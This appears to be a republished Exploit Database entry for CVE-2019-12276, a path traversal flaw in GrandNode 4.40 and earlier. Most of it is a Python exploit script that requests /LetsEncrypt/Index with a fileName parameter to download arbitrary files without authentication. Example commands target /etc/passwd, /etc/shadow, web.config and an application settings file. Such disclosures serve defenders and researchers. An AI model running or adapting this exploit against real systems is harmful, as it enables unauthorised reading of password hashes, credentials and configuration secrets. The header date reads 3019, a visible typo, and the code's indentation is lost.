GrandNode 4.40 – Path Traversal / Arbitrary File Download

• Exploit Database
• 14 阅读

• 作者： Corey Robinson
  日期： 2019-06-24
• 类别：

  • webapps
  平台：

  • multiple
• 来源：https://www.exploit-db.com/exploits/47027/

• # Exploit Title: GrandNode Path Traversal & Arbitrary File Download (Unauthenticated)
  # Date: 06/23/3019
  # Exploit Author: Corey Robinson (https://twitter.com/CRobSec)
  # Vendor Homepage: https://grandnode.com/
  # Software Link: https://github.com/grandnode/grandnode/archive/728ca1ea2f61aead7c8c443407096b0ef476e49e.zip
  # Version: <= v4.40 (before 5/30/2019)
  # Tested on: Ubuntu 18.04
  # CVE: CVE-2019-12276
  
  '''
  CVE-2019-12276
  
  A path traversal vulnerability in the LetsEncryptController allows remote unauthenticated users to 
  view any files that the application has read/view permissions to. This vulnerability affects 
  Windows and Unix operating systems.
  
  For more details, see: https://security401.com/grandnode-path-traversal/
  
  '''
  
  import requests
  import argparse
  
  def exploit(url, file):
  
  session = requests.Session()
  
  paramsGet = {"fileName":file}
  rawBody = "\r\n"
  
  response = session.get("{}/LetsEncrypt/Index".format(url), data=rawBody, params=paramsGet)
  
  if "UnauthorizedAccessException" in response.content or response.status_code == 500:
  print("Access to the path '{}' is denied.".format(file))
  return	
  
  content_length = int(response.headers['Content-Length'])
  
  if content_length == 0:
  print("The '{}' file was not found.".format(file))	
  else:
  print("-" *22)
  print(response.content)
  print("-" *22)
  
  
  if __name__ == "__main__":
  
  parser = argparse.ArgumentParser(description='GrandNode CVE-2019-12276 Path traversal & Arbitrary File Download')
  parser.add_argument('-u', action="store", dest="url", required=True, help='Target URL')
  parser.add_argument('-f', action="store", dest="file", required=True, help='The file to download')
  args = parser.parse_args()
  
  exploit(args.url, args.file)
  
  # python gn.py -u http://172.16.2.22:5001 -f "/etc/passwd"
  # python gn.py -u http://172.16.2.22:5001 -f "../../../App_Data/Settings.txt"
  # python gn.py -u http://172.16.2.22:5001 -f "/etc/shadow"
  # python gn.py -u http://172.16.2.22:5001 -f "../../../web.config"